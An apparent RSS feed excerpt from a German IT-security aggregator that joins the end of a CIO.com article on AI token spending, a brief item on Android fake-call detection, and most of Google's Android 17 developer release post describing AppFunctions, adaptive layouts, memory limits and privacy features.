<p class="wp-block-paragraph">We also need to encourage cultures that praise outputs that actually achieve efficiency. AI applications that result in shipping faster, reducing rework and cutting review cycles are gains that should be celebrated. If your company hosts leaderboards, frame unnecessary token burn as wasteful rather than valuable. The organizations creating healthier consumption habits work with their engineers to understand not just how to use AI, but what responsible use looks like and what it costs.</p>



<p class="wp-block-paragraph">This is a conversation teams need to have now. Anthropic <a href="https://support.claude.com/en/articles/15036540-use-the-claude-agent-sdk-with-your-claude-plan">just ended flat-rate pricing</a> for programmatic workloads from June 15. Now, agents, continuous integration pipelines and automated workflows draw from a dedicated monthly credit pool billed separately from the subscription. Once that pool is exhausted, agent tasks either stop entirely or overflow to extra billing. Work can either get very expensive or grind to a halt for teams that aren’t prepared.</p>



<p class="wp-block-paragraph">Getting a grip on shadow tokens means better rules and tools connecting spend to outcomes. Only by building the financial and cultural infrastructure that encourages sustainable adoption can leaders see what they’re spending, connect it to what they’re getting and course-correct before the costs become a crisis. Ultimately, shadow tokens are only invisible if we choose not to look.</p>



<p class="wp-block-paragraph"><strong>This article is published as part of the Foundry Expert Contributor Network.</strong><br><a href="https://www.cio.com/expert-contributor-network/"><strong>Want to join?</strong></a></p>
</div></div></div></div>]]></content:encoded>
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<title><![CDATA[Android bekommt Schutz vor Fake Calls]]></title>
<description><![CDATA[Google schützt Android-Nutzer vor KI-Betrügern: Das neue Feature "Fake Call Detection" erkennt Anrufe Krimineller und warnt während des Gesprächs.]]></description>
<link>https://tsecurity.de/de/3694373/it-security-nachrichten/android-bekommt-schutz-vor-fake-calls/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3694373/it-security-nachrichten/android-bekommt-schutz-vor-fake-calls/</guid>
<pubDate>Sat, 25 Jul 2026 18:55:28 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Google schützt Android-Nutzer vor KI-Betrügern: Das neue Feature "Fake Call Detection" erkennt Anrufe Krimineller und warnt während des Gesprächs.]]></content:encoded>
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<title><![CDATA[Android 17 is here]]></title>
<description><![CDATA[Posted by Matthew McCullough, VP of Product Management, Android DeveloperToday we're releasing Android 17 and making it available on most supported Pixel devices. Look for new devices running Android 17 in the coming months.

Android 17 marks the start of our transition to an intelligence system,...]]></description>
<link>https://tsecurity.de/de/3693505/android-tipps/android-17-is-here/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693505/android-tipps/android-17-is-here/</guid>
<pubDate>Sat, 25 Jul 2026 10:15:36 +0200</pubDate>
<category>🤖 Android Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgV7zuuXjulHty999mGDWY1kfL8Q9SXjYYWn-7JTpMfVdNP78eb5fW9shOpvVdEqK0WnNp7AhdO0qc7pXAaqcfTwXgOGsfZyqcQv8wyD-9niWBpZuP6ZAPHBSetWenN2lMlRS5wi2d71-n8RCYqrLsFhUCEvM7KeoGLnNaDbiyOZQ0vvyr0O580nXK4Vas/s2048/Metadata%20-%20Static.png"><div><i>Posted by Matthew McCullough, VP of Product Management, Android Developer</i></div><div class="separator"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg5KPJZylMSUXRpKFRUd6oM4fNdEoDRdJzdkzg69P_BVUuIDtXqCqTid6hGH40CoHRw7-f50HsT6rISArklGH982MM4K1jKU16SSymes4JPoE4qOZ5s1lLnkbInpUpdJGu5erAYmSgiefzkkOX_ng3AUJKOzzwC1WMTjk2DxLNia8R1C-ErWc7jT4VP8ew/s4209/Blogger%20Hero%20-%20White.png"><img border="0" data-original-height="1253" data-original-width="4209" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg5KPJZylMSUXRpKFRUd6oM4fNdEoDRdJzdkzg69P_BVUuIDtXqCqTid6hGH40CoHRw7-f50HsT6rISArklGH982MM4K1jKU16SSymes4JPoE4qOZ5s1lLnkbInpUpdJGu5erAYmSgiefzkkOX_ng3AUJKOzzwC1WMTjk2DxLNia8R1C-ErWc7jT4VP8ew/s16000/Blogger%20Hero%20-%20White.png"></a></div><br><p><br></p><p>Today we're releasing Android 17 and making it available on most supported Pixel devices. Look for new devices running Android 17 in the coming months.</p><div class="separator"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhjaHGBWXu3yvdXZ-wYQgN6DjN5TEMRIYDJvQDZTOybRZFWsAMhqhl14b9UZmrlXlEIRDioqRc8m3xRjOnQHJPoICkVpCho4qrmKihPbu_SB7dGVNKwlAaX6eWdjLF4VUdGyzGfxtW0ziFggj63e778VVo38qpMKar4E1wuw0MiPCBvBdrTTXCgI1XD04Q/s1080/AfD-Android-17.gif"><img border="0" data-original-height="1080" data-original-width="1080" height="320" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhjaHGBWXu3yvdXZ-wYQgN6DjN5TEMRIYDJvQDZTOybRZFWsAMhqhl14b9UZmrlXlEIRDioqRc8m3xRjOnQHJPoICkVpCho4qrmKihPbu_SB7dGVNKwlAaX6eWdjLF4VUdGyzGfxtW0ziFggj63e778VVo38qpMKar4E1wuw0MiPCBvBdrTTXCgI1XD04Q/s320/AfD-Android-17.gif" width="320"></a></div>

<p>Android 17 marks the start of our transition to an intelligence system, putting your apps at the center. It's shifting to an adaptive-first development standard by introducing mandatory large-screen resizability, all while delivering next-generation privacy, security, media, camera, and performance. We'll cover all that in this post, as well as how we're bringing together next generation tools, libraries, and agent skills to help your apps embrace the opportunity.</p>

<p>Throughout the past year, from our Canary channel to our Beta releases, we’ve collaborated with you in the developer community to build a platform you and your users can trust. To that end, this moment marks the availability of the source code at the <a href="https://source.android.com/">Android Open Source Project</a> (AOSP). This allows you to <a href="https://cs.android.com/">examine the source code</a> for a deeper understanding of how Android works.</p>

<p>Let's dive deeper into Android 17.</p>

<h3>An intelligence system</h3>

<p>With deep integration between hardware, software and AI, we’re transforming Android from an operating system to an intelligence system. It's about delivering new helpful experiences that anticipate user needs, and it brings more opportunities for engagement with your apps. To that end, Android 17 expands the capabilities of AppFunctions, a platform API with a corresponding Jetpack library. It allows you to contribute your app's unique capabilities as orchestratable "tools" for Android MCP, the on-device equivalent of the <a href="https://modelcontextprotocol.io/">Model Context Protocol</a>. AI agents and assistants (like Google Gemini) can discover and execute AppFunctions to perform workflows on behalf of the user with direct access to the app's local state.</p>

<p>The Jetpack library, currently in alpha, makes adding AppFunctions as easy as annotating a class and adding KDoc comments.</p>

<pre><code>/**
 * A note app's [AppFunction]s.
 */
class NoteFunctions(
    private val noteRepository: NoteRepository
) {
    /**
     * Adds a new note to the app.
     *
     * @param appFunctionContext The execution context.
     * @param title The title of the note.
     * @param content The note's content.
     */
    @AppFunction(isDescribedByKDoc = true)
    suspend fun createNote(
        appFunctionContext: AppFunctionContext,
        title: String,
        content: String
    ): Note {
        return noteRepository.createNote(title, content)
    }
}</code></pre>

<p>We’ve also launched an <a href="http://github.com/android/skills/tree/main/on-device/appfunctions">AppFunctions agent skill</a> that analyzes your app’s key workflows, automatically generates the required Kotlin code, optimizes your KDocs for LLM tool-calling, and provides ADB commands for testing and debugging.</p>

<p>The Gemini integration is currently in a private preview with trusted testers, but you can begin preparing your apps now. In addition to ADB commands to execute your AppFunctions, we've provided a <a href="http://github.com/android/appfunctions/releases/initial">test agent app</a> that includes an interface to discover and execute your app functions and simulate an AI agent integration. Join our integration early access program at <a href="http://goo.gle/eap-af">goo.gle/eap-af</a> for a chance to be among the first apps to deploy AppFunctions to production.</p>

<h3>Adaptive-first</h3>
<p>Your users no longer rely on a single form factor; they transition between phones, foldables, tablets, laptops, automotive displays, and immersive XR environments. Now, with over <a href="https://developer.android.com/blog/posts/adaptive-development-for-the-expanding-android-ecosystem">580 million large screen devices</a> in the hands of users and the <a href="https://blog.google/products-and-platforms/platforms/android/meet-googlebook/">forthcoming launch of Googlebooks</a>, the next generation of ChromeOS built on the Android stack, adaptive is no longer just a technical goal. It’s a massive opportunity to reach highly engaged users, which is one of the reasons we're shifting to an <a href="https://developer.android.com/adaptive-apps">adaptive-first development standard</a>.</p>

<h2>No resizability/orientation restrictions on large screens</h2>
<p>To ensure apps deliver a premium experience across all form factors, including mobile devices running in desktop mode on connected displays, Android 17 (API level 37) removes the developer opt-out for orientation and resizability restrictions on <a href="https://developer.android.com/guide/topics/large-screens">large screen devices</a> (sw &gt; 600 dp) for apps targeting API level 37. The system will ignore legacy manifest attributes and runtime APIs, including screenOrientation, setRequestedOrientation(), resizeableActivity=false, and aspect ratio constraints (minAspectRatio/maxAspectRatio). Games (based on <a href="https://support.google.com/googleplay/android-developer/answer/9859673?hl=en">app category</a> in Google Play) remain exempt. Your app must be ready to adapt to any window size, respect the user's preferred device posture, and support free-form windowing natively.</p>

<h2>Next-gen multitasking: App Bubbles, Bubble Bar, and desktop interactive PiP</h2>
<p>Android 17 introduces powerful new windowing capabilities that redefine how users multitask, demanding even greater layout flexibility from your apps:</p>
<ul>
    <li><strong>App Bubbles:</strong> Moving beyond the messaging bubbles API, users can now transform any app into a floating bubble by long-pressing its icon on the launcher. This feature is available across phones, foldables, and tablets, enabling lightweight multitasking for any workflow.</li>
    <li><strong>The Bubble Bar:</strong> On large screens (tablets and foldables), the system taskbar now includes a dedicated Bubble Bar to organize, transition between, and dock these floating app bubbles.</li>
    <li><strong>Desktop interactive PiP:</strong> In desktop environments, Android 17 introduces interactive Picture-in-Picture (PiP). Unlike traditional PiP windows which are read-only, these pinned windows remain fully interactive while staying always-on-top of other application windows.</li>
</ul>

<div class="separator"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg12FRQ31sUiyMj_ZalamTRI4VyI2tMXYKEoRy6b-u0Het272IDbRhznXot7b8AvFJEX-ubw_-pNxyS5JTKPUTBj1CNXwIYkTE906vembUcHeyGzE4Lb72WRyGNF7dOP_aBssNeCplOjEnKAc3d3hkak81LOpG0g9Hlep0AvC11MjdJ1MkqAp7ViUCu2bw/s1600/Bubbles%20(1).gif"><img border="0" data-original-height="1600" data-original-width="1544" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg12FRQ31sUiyMj_ZalamTRI4VyI2tMXYKEoRy6b-u0Het272IDbRhznXot7b8AvFJEX-ubw_-pNxyS5JTKPUTBj1CNXwIYkTE906vembUcHeyGzE4Lb72WRyGNF7dOP_aBssNeCplOjEnKAc3d3hkak81LOpG0g9Hlep0AvC11MjdJ1MkqAp7ViUCu2bw/s16000/Bubbles%20(1).gif"></a></div><p><i>App Bubbles and Bubble Bar in action</i></p>

<h2>Activity recreation updates</h2>
<p>To prevent disruptive state loss and stutter, Android 17 updates the default behavior for Activity recreation. The system will no longer restart activities by default for typical configuration changes that do not require a full UI redraw (including <a href="https://developer.android.com/reference/kotlin/android/content/pm/ActivityInfo#config_keyboard">CONFIG_KEYBOARD</a>, <a href="https://developer.android.com/reference/kotlin/android/content/pm/ActivityInfo#config_keyboard_hidden">CONFIG_KEYBOARD_HIDDEN</a>, <a href="https://developer.android.com/reference/kotlin/android/content/pm/ActivityInfo#config_navigation">CONFIG_NAVIGATION</a>, <a href="https://developer.android.com/reference/kotlin/android/content/pm/ActivityInfo#config_touchscreen">CONFIG_TOUCHSCREEN</a>, and <a href="https://developer.android.com/reference/kotlin/android/content/pm/ActivityInfo#config_color_mode">CONFIG_COLOR_MODE</a>).<br>
Instead, running activities will receive these updates via onConfigurationChanged(), enabling smooth transitions. If your application explicitly relies on a full restart to reload resources for these changes, you must now explicitly opt-in using the new <a href="https://developer.android.com/reference/kotlin/android/R.attr#recreateonconfigchanges">android:recreateOnConfigChanges</a> manifest attribute.</p>

<h2>Continue On</h2>
<p>Android 17 adds Continue On to help users seamlessly transition a task between Android devices. The user sees a suggestion for the most recently opened app from their mobile device in their tablet taskbar, providing a one-tap affordance to launch the app and deep-link where they left off. Continue on can support app-to-web transitions, including falling back to using the web if the app isn't installed.</p><div class="separator"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjc8K42DCZ0VTYpFhTlEazp9_AthhqYdm786k1NFolZrP7HwXk2QlF7UV1CU7ECK9N-CiHSfSbH_E2_cXwL3zUuesP-shpa1nau5QmVWDOQeErnCMtvZUw_wwAHNewZZ5S3811f0n_FNoX4U9kyptZQONM_eDB1AAHaoFjMFgTCC7G1d0X2iRo1MN8sev0/s1920/Continue%20On.png"><img border="0" data-original-height="1200" data-original-width="1920" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjc8K42DCZ0VTYpFhTlEazp9_AthhqYdm786k1NFolZrP7HwXk2QlF7UV1CU7ECK9N-CiHSfSbH_E2_cXwL3zUuesP-shpa1nau5QmVWDOQeErnCMtvZUw_wwAHNewZZ5S3811f0n_FNoX4U9kyptZQONM_eDB1AAHaoFjMFgTCC7G1d0X2iRo1MN8sev0/s16000/Continue%20On.png"></a><i>Handoff Suggestion on a Tablet</i></div><p><br></p>

<pre><code>class MyHandoffActivity : Activity() {

    ...

  override fun onCreate(savedInstanceState: Bundle?) {
    super.onCreate(savedInstanceState)
    // Do stuff
    ...
    // Enable handoff
    setHandoffEnabled(true, null)
  }

  // Override and implement onHandoffActivityDataRequested
  override fun onHandoffActivityDataRequested(handoffRequestInfo: HandoffActivityDataRequestInfo) : HandoffActivityData {
    // Create and return handoff data
  }
}</code></pre>

<h2>Go adaptive-first with Jetpack Compose</h2>
<p>To help you adapt your apps to meet the new Android 17 requirements, we've launched the <a href="https://github.com/android/skills/tree/main/jetpack-compose/adaptive">Jetpack Compose adaptive skill</a>. This AI-powered developer workflow helps you implement the best adaptive practices:</p>
<ul>
    <li><strong>Adaptive navigation:</strong> Automatically transition between bottom navigation bars on mobile and edge-anchored navigation rails on large screens using NavigationSuiteScaffold from the Material 3 Adaptive library.</li>
    <li><strong>Multi-pane layouts:</strong> Implement list-detail and supporting pane layouts natively using Navigation 3 Scenes (ListDetailSceneStrategy and SupportingPaneSceneStrategy) instead of fragile fragment transactions.</li>
    <li><strong>FlexBox &amp; Grid APIs:</strong> Utilize Compose 1.11's dynamic layout components to easily adjust row and column spans on the fly, ensuring your content always fills the space beautifully.</li>
    <li><strong>Advanced non-touch input:</strong> Leverage Compose 1.11's enhanced trackpad and mouse support, including native focus rings and new APIs (like TrackpadInjectionScope and performTrackpadInput) to easily test and deliver a true "laptop-class" experience on Googlebooks and Desktop Mode.</li>
    <li><strong>Dynamic window states:</strong> Leverage Compose's reactive state model to seamlessly adapt your UI when the app transitions from full screen to a floating App Bubble or an interactive Desktop PiP window, ensuring a premium experience even at minimal dimensions.</li>
</ul>

<h2>Android is Compose-first</h2>
<p>Compose offers the easiest way to build adaptive apps, and that's just one of the <a href="https://developer.android.com/develop/ui/compose/first#why-compose-first">many reasons</a> we believe that all Android UI should be built with Compose. To that end, <a href="https://developer.android.com/develop/ui/compose/first">Android development is now Compose-first</a>. All new Android APIs, libraries, tools, and developer guidance will be built exclusively for Jetpack Compose. Legacy View components (in the android.widget package) and View-based Jetpack libraries (like Fragments, RecyclerView, and ViewPager) are now in maintenance mode. They will receive only critical bug fixes, and no new features.</p>

<blockquote>
    <p><strong>TIP</strong><br>
    Ready to migrate? Use our AI-driven <a href="https://developer.android.com/develop/ui/compose/migrate/migrate-xml-views-to-jetpack-compose">XML to Compose Migration Skill</a> to automatically analyze your legacy View layouts and convert them into highly-adaptive Compose code.</p>
</blockquote>

<h3>Performance &amp; efficiency</h3>
<p>App performance means a smooth user interface, fast app start times, and efficient multitasking; Android 17 has impactful improvements in all of these areas.</p>

<h2>App memory limits</h2>
<p>Memory usage is one of the silent foundations of overall performance. When a foreground app or service grows unchecked, memory management spikes CPU and battery utilization and eventually leads to the termination of other well-behaved cached apps and background jobs, ultimately forcing slower cold starts and impaired multitasking. </p>

<p>Starting in Android 17, the system will enforce strict app memory limits based on a device's total RAM, abruptly terminating offending processes. New things to help you navigate these tighter requirements:</p>
<ul>
    <li><strong>R8 Optimizer:</strong> The R8 optimizer significantly reduces your app's bytecode memory footprint by shrinking classes, methods, and fields into shorter names, and stripping out unused code and resources. Use R8 in full mode along with the new <a href="https://developer.android.com/topic/performance/app-optimization/r8-configuration-analyzer">R8 configuration analyzer</a> to make sure your app is getting the most from R8.<div class="separator"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiQePgjeISaotpA-miDPKel-qgAYtepLjMMBaiKZQqTf_iYRTJurn_iAFdC7utLnKRKAh9OhSjF_D83skA2PPg7xts0ORX7aVxBkoax6b9uEPqTlGiY_sh8Xv7U1pr0h4Nm8FLo-h3IJD8FhTJc-gOtpBwyLCnDBUPRJAuaaBjsIOhvUmTXFSna0ykksak/s2048/R8%20Configuration%20Analyzer.png"><img border="0" data-original-height="397" data-original-width="2048" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiQePgjeISaotpA-miDPKel-qgAYtepLjMMBaiKZQqTf_iYRTJurn_iAFdC7utLnKRKAh9OhSjF_D83skA2PPg7xts0ORX7aVxBkoax6b9uEPqTlGiY_sh8Xv7U1pr0h4Nm8FLo-h3IJD8FhTJc-gOtpBwyLCnDBUPRJAuaaBjsIOhvUmTXFSna0ykksak/s16000/R8%20Configuration%20Analyzer.png"></a></div></li></ul><div><span><u><br></u></span></div><div><span><u><br></u></span></div><div><br></div><div><br></div><div>The R8 Configuration Analyzer</div><ul><li><strong>LeakCanary in Android Studio Panda:</strong> The profiler now features native LeakCanary integration as a dedicated task, fully integrated with your IDE and source code.</li>
    <li><strong>ApplicationExitInfo:</strong> If your app is terminated by these limits, getDescription() from ApplicationExitInfo will return "MemoryLimiter:AnonSwap".</li>
    <li><strong>On-Device Anomaly Detection:</strong> Part of ProfilingManager, you can leverage trigger-based profiling using TRIGGER_TYPE_ANOMALY to automatically capture heap dumps when the memory limit is reached.</li>
</ul>

<pre><code>val profilingManager = applicationContext
   .getSystemService(ProfilingManager::class.java)

val triggers = ArrayList&lt;ProfilingTrigger&gt;().apply {
  add(ProfilingTrigger.Builder(
    ProfilingTrigger.TRIGGER_TYPE_ANOMALY).build())
}
profilingManager.addProfilingTriggers(triggers)</code></pre>

<p>And, we're working to surface more in-field memory metrics to you within Google Play Console.</p>

<h2>Generational garbage collection</h2>
<p><a href="https://developer.android.com/about/versions">Android 17</a> introduces more frequent, less resource-intensive young-generation collections to <a href="https://developer.android.com/guide/platform#art">ART</a>'s Concurrent Mark-Compact garbage collector (GC). By separating short-lived objects from stable, long-lived ones, the system runs frequent, lightweight "young-generation" sweeps rather than expensive full-heap scans, drastically reducing CPU usage, power drain, and UI stutter. Our testing has shown significant improvements in GC interference with application threads and a reduction in the maximum memory resident set size (RSS). ART improvements are also available to over a billion devices running Android 12 (API level 31) and higher through Google Play System updates.</p>

<h2>Lock-Free MessageQueue</h2>
<p>For apps targeting SDK 37 or higher, the core <a href="https://developer.android.com/reference/android/os/MessageQueue"><b>android.os.MessageQueue</b></a> now implements a lock-free architecture, significantly reducing missed frames, improving app startup time, and radically improving the performance of busy queues in multithreaded scenarios. Note: This can break apps that use reflection on private <a href="https://developer.android.com/reference/android/os/MessageQueue"><b>MessageQueue</b></a> fields and methods.  The <a href="https://developer.android.com/reference/android/os/TestLooperManager#peekWhen()"><b>peekWhen</b></a> and <b><a href="https://developer.android.com/reference/android/os/TestLooperManager#poll()">poll</a> </b>APIs have been added to <a href="https://developer.android.com/reference/android/os/TestLooperManager"><b>TestLooperManager</b></a> for instrumentation testing without relying on <a href="https://developer.android.com/reference/android/os/MessageQueue"><b>MessageQueue</b></a> internals.</p>

<h2>Static final fields now truly final</h2>
<p>Starting from Android 17, apps targeting SDK 37 or higher won’t be able to modify “static final” fields, allowing the runtime to apply performance optimizations more aggressively. An attempt to do so via reflection (or deep reflection) will lead to an IllegalAccessException being thrown. Modifying them via JNI’s <b><code>SetStatic&lt;Type&gt;Field</code></b> methods family will immediately crash the application.</p>

<h2>Custom notification view restrictions</h2>
<p>To reduce memory usage we are further restricting the size of <a href="https://developer.android.com/develop/ui/views/notifications/custom-notification">custom notification views</a>. This update closes a loophole that allows apps to bypass existing limits using URIs. This behavior is gated by the target SDK version and takes effect for apps targeting API 37 and higher.</p>

<h3>Privacy &amp; Security</h3>
<p>Maintaining user trust is at the heart of the Android ecosystem. Android 17 introduces robust features that protect sensitive data while simplifying user experiences.</p>

<h2>Privacy-preserving choices</h2>
<p>Historically, apps required broad, permanent permissions to access information like contacts, precise location and media files. Android 17 continues the shift toward privacy-preserving choices that grant temporary, session-based access only to the data the user explicitly selects:</p>
<ul>
  <li><strong>System-Level Contact Picker:</strong> Utilizing <code>ACTION_PICK_CONTACTS</code>, apps can request temporary access only to specific fields (e.g., email or phone number) chosen by the user, eliminating the need for the broad <code>READ_CONTACTS</code> permission. It also fully supports work/personal profile separation.</li>
    <li><strong>Customizable Photo Picker aspect ratio:</strong> Using<b><code>PhotoPickerUiCustomizationParams</code></b>, you can customize the system photo picker to show thumbnails in portrait mode. This is perfect for apps that always display photos and videos in portrait such as video based social media apps.</li>
    <li><strong>System-rendered Location Button:</strong> A new system-rendered location button that you can embed in your app grants precise location access for the current session only.</li>
    <li><strong>EyeDropper API:</strong> A new system-level API, <code>ACTION_OPEN_EYE_DROPPER</code>, allows your app to create a system-powered eyedropper enabling the user to select color from any pixel on the display. This provides a secure, privacy-preserving color-picking experience that eliminates the need for broad, sensitive screen capture or media projection permissions.</li>
</ul>

<pre><code>val eyeDropperLauncher = registerForActivityResult(ActivityResultContracts.StartActivityForResult()) { result -&gt;
   if (result.resultCode == Activity.RESULT_OK) {
       val color = result.data?.getIntExtra(Intent.EXTRA_COLOR, Color.BLACK)
       // Use the picked color in your app
   }
}
fun launchColorPicker() {
   val intent = Intent(Intent.ACTION_OPEN_EYE_DROPPER)
   eyeDropperLauncher.launch(intent)
}</code></pre>

<div class="separator"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh8m_oR9WymjE9G26nGUCqdhS9GrBd6FXN3ujWbjq7ECD6OMGhS4xUApWkAWpPpRef7lwLhsRE2jYL9FADoF_FX2eMXD-0hp9JVaCzrDhfU8RYJ9qv-Ds9YIwyQK7yHKidW0oOtX1rpg2pG9x2yNp3UkGJDPqUlHX7hiLb-bvDue67FPZK1O-22SuXbO8I/s1267/Eyedropper%20Tester.webp"><img border="0" data-original-height="713" data-original-width="1267" height="360" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh8m_oR9WymjE9G26nGUCqdhS9GrBd6FXN3ujWbjq7ECD6OMGhS4xUApWkAWpPpRef7lwLhsRE2jYL9FADoF_FX2eMXD-0hp9JVaCzrDhfU8RYJ9qv-Ds9YIwyQK7yHKidW0oOtX1rpg2pG9x2yNp3UkGJDPqUlHX7hiLb-bvDue67FPZK1O-22SuXbO8I/w640-h360/Eyedropper%20Tester.webp" width="640"></a></div><h3><br></h3><h3><br></h3><h3><br></h3><h3><br></h3><h3><br></h3><h3><br></h3><h3><br></h3><h3><br></h3><h3><br></h3><h3><span><span face="Arial, sans-serif"><i>Picking a color from anywhere on the screen with the system EyeDropper</i></span></span></h3><h2>Local network access</h2>
<p>Apps targeting Android 17 now either require the <code><a href="https://developer.android.com/reference/kotlin/android/Manifest.permission#access_local_network">ACCESS_LOCAL_NETWORK</a></code> runtime permission or the use of system-mediated, privacy-preserving device pickers for local network communication, such as talking to smart home devices or casting receivers. Because <code>ACCESS_LOCAL_NETWORK</code>  falls under the existing <code><a href="https://developer.android.com/reference/android/Manifest.permission_group#NEARBY_DEVICES">NEARBY_DEVICES</a></code> permission group, users who have already granted other <code><a href="https://developer.android.com/reference/android/Manifest.permission_group#NEARBY_DEVICES">NEARBY_DEVICES</a></code> permissions will not be prompted again. </p>

<h2>SMS OTP protection</h2>
<p>Android 17 expands SMS one-time-password (OTP) protection by delaying access to SMS messages for three hours:</p>
<ul>
  <li>WebOTP Format: <a href="https://developer.android.com/about/versions/17/behavior-changes-all#sms-otp-all-apps">Delayed for all apps that are not the intended recipient (domain mismatch)</a>.</li>
  <li>Standard SMS OTP: <a href="https://developer.android.com/about/versions/17/behavior-changes-17#sms-otp-protection">Delayed for all apps targeting SDK 37+</a>.</li>
  <li>Exemptions: Default SMS, assistant, and connected companion apps are exempt. Apps are strongly encouraged to migrate to the <a href="https://developer.android.com/identity/sms-retriever">SMS Retriever</a> or <a href="https://developers.google.com/identity/sms-retriever/user-consent/overview">SMS User Consent APIs</a>.</li>
</ul>

<h2>Post-Quantum Cryptography (PQC)</h2>
<p>Android 17 is ready for the next generation of cryptographic security:</p>
<ul>
  <li>Keystore Integration: Supported devices can generate ML-DSA (Module-Lattice-Based Digital Signature Algorithm) keys in secure hardware to produce quantum-safe signatures, exposed via standard JCA APIs.</li>
  <li>Hybrid APK Signing: Introducing the v3.2 APK Signature Scheme, which combines classical signatures with ML-DSA signatures to secure app delivery.</li>
</ul>

<h2>Safer native dynamic code loading </h2>
If your app targets SDK 37 or higher, the Safer Dynamic Code Loading (DCL) protection <a href="https://developer.android.com/about/versions/14/behavior-changes-14#safer-dynamic-code-loading">introduced in Android 14</a> for DEX and JAR files now extends to native libraries. All native files loaded using System.load must be marked as read-only. Otherwise, the system throws UnsatisfiedLinkError

<h2>Smarter password protection for physical inputs</h2>
<p>With Android 17, we're making it safer to enter passwords, PINs, and other secrets when using a physical keyboard by no longer showing the last typed character by default.</p>
<p>Users can still easily customize these display settings to match their preferences (availability may vary by device manufacturer).</p>
<p>These enhanced privacy protections are automatically supported byAndroid's built-in SDK components and will be supported in Compose 1.12 for SecureTextFields. </p>

<h3><div class="separator"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgFjWXyRLybiLVAIrIm1_60XHXhPmpB1QEph7AuqsGHs-NihIDRFbUgBh32gUKxo30173W-RpEInX9hmYFVnW5V8ZqtM3n_CzxlT0B0PVQr0LSOuOi7x2kZgN_jHRRlYJ7bYInZllvUGNoA_SrXkNi5wwHvUghUcnl0Gsgx_-ts4QEHq_KdbEYgWCg92xA/s798/Hide%20First%20Letter.gif"><img border="0" data-original-height="449" data-original-width="798" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgFjWXyRLybiLVAIrIm1_60XHXhPmpB1QEph7AuqsGHs-NihIDRFbUgBh32gUKxo30173W-RpEInX9hmYFVnW5V8ZqtM3n_CzxlT0B0PVQr0LSOuOi7x2kZgN_jHRRlYJ7bYInZllvUGNoA_SrXkNi5wwHvUghUcnl0Gsgx_-ts4QEHq_KdbEYgWCg92xA/s16000/Hide%20First%20Letter.gif"></a></div></h3><h3><br></h3><h3><br></h3><h3><br></h3><div><br></div><div><br></div><div><br></div><div><br></div><div><br></div><div><br></div><div><br></div><div><br></div><div><br></div><div><br></div><div><br></div><div><br></div><div><br></div><div><br></div><i><div><i>Smarter password protection for physical inputs</i></div></i><div><br></div><h2>Media and camera features that empower creators and delight users
</h2><p>Android 17 introduces new <a href="https://blog.google/products-and-platforms/platforms/android/android-17-creator-features/">creator features</a> that give access to pro-quality cameras and media, all while improving the experience for consumers.</p>

<ul>
  <li><a href="https://developer.android.com/media/platform/integrate-eclipsa-video">Eclipsa Video</a>: HDR video standard built upon the <a href="https://github.com/SMPTE/st2094-50">SMPTE ST 2094-50 specification</a> that introduces new metadata to help devices adapt content for their display headroom and ambient light conditions, as well as improve the simultaneous display of standard and HDR content.</li>
  <li>RAW14 image format: New support for the <a href="https://developer.android.com/reference/kotlin/android/graphics/ImageFormat#raw14">RAW14 image format</a> provides a way for your professional camera app to capture the highest level of detail and color depth from compatible camera sensors.</li>
  <li>Vendor-defined camera extensions: Vendor-defined extensions enable hardware partners to define and implement custom camera extension modes, providing access to the best and latest camera features.</li>
  <li>Extended HE-AAC software encoder: A new system-provided Extended HE-AAC software encoder, supports both low and high bitrates using unified speech and audio coding, providing significantly better audio quality for voice messages in low-bandwidth conditions, including support for loudness metadata.</li>
  <li><a href="https://developer.android.com/guide/topics/media/media-formats#video-formats">Versatile Video Coding (H.266)</a>:  Enables OEMs to add codec support by defining the <a href="https://developer.android.com/guide/topics/media/media-formats#video-formats">video/vvc</a> MIME type in <a href="https://developer.android.com/reference/android/media/MediaFormat"><code>MediaFormat</code></a>, adding new VVC profiles in <a href="https://developer.android.com/reference/android/media/MediaCodecInfo"><code>MediaCodecInfo</code></a>, and integrating support into <a href="https://developer.android.com/reference/android/media/MediaExtractor"><code>MediaExtractor</code></a>.</li>
  <li>Camera device type: New APIs that query the underlying device type to identify if a camera is built-in hardware, an external USB webcam, or a virtual camera.</li>
  <li>Constant Quality for Video Recording: <a href="https://developer.android.com/reference/android/media/MediaRecorder#setVideoEncodingQuality(int)"><code>SetVideoEncodingQuality</code></a> in <a href="https://developer.android.com/reference/android/media/MediaRecorder"><code>MediaRecorder</code></a> configures a constant quality (CQ) mode for video encoders to ensure uniform visual fidelity across the entire video.</li>
</ul>

<h2>Better support for hearing aids</h2>
<ul>
  <li>Bluetooth LE Audio hearing aid support: Android now includes a specific device category for Bluetooth Low Energy (BLE) Audio hearing aids with the new <a href="https://developer.android.com/reference/android/media/AudioDeviceInfo#TYPE_BLE_HEARING_AID"><code>AudioDeviceInfo.TYPE_BLE_HEARING_AID</code></a> constant, so your app can distinguish hearing aids from regular headsets to provide a tailored experience for users with assistive listening devices.</li>
  <li>Granular audio routing for hearing aids: Android 17 allows users to independently manage where specific system sounds are played. They can choose to route notifications, ringtones, and alarms to connected hearing aids or the device's built-in speaker, helping to avoid unwanted in-ear interruptions while maintaining a Bluetooth connection for hearing aid management apps.</li>
</ul>

<h2>CameraX and  Media3</h2>
